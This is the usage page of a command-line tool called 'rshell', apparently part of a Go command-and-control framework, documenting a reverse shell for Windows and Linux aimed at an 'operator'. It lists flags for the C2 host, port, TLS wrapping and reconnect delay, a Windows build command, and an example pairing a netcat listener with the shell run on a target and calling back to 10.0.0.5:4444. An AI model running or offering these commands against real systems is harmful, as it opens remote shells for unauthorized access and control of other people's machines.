rshell

Minimal reverse shell over c2/shell + c2/transport.

Source: cmd/rshell/ · godoc: pkg.go.dev/…/cmd/rshell Audience: operator · Platforms: Windows + Linux

Synopsis

rshell -host <ip> -port <port> [-tls] [-retry <seconds>]
FlagDefaultMeaning
-hostC2 listener host.
-portC2 listener port.
-tlsoffWrap the transport in TLS (uses c2/cert if no cert provided).
-retry0Reconnect delay in seconds (0 = no retry).

Build

GOOS=windows GOARCH=amd64 go build -o rshell.exe ./cmd/rshell

Example

# On the operator side, any TCP listener (nc / metasploit / c2/transport server)
nc -lvnp 4444

# On target:
rshell.exe -host 10.0.0.5 -port 4444 -tls -retry 30

See also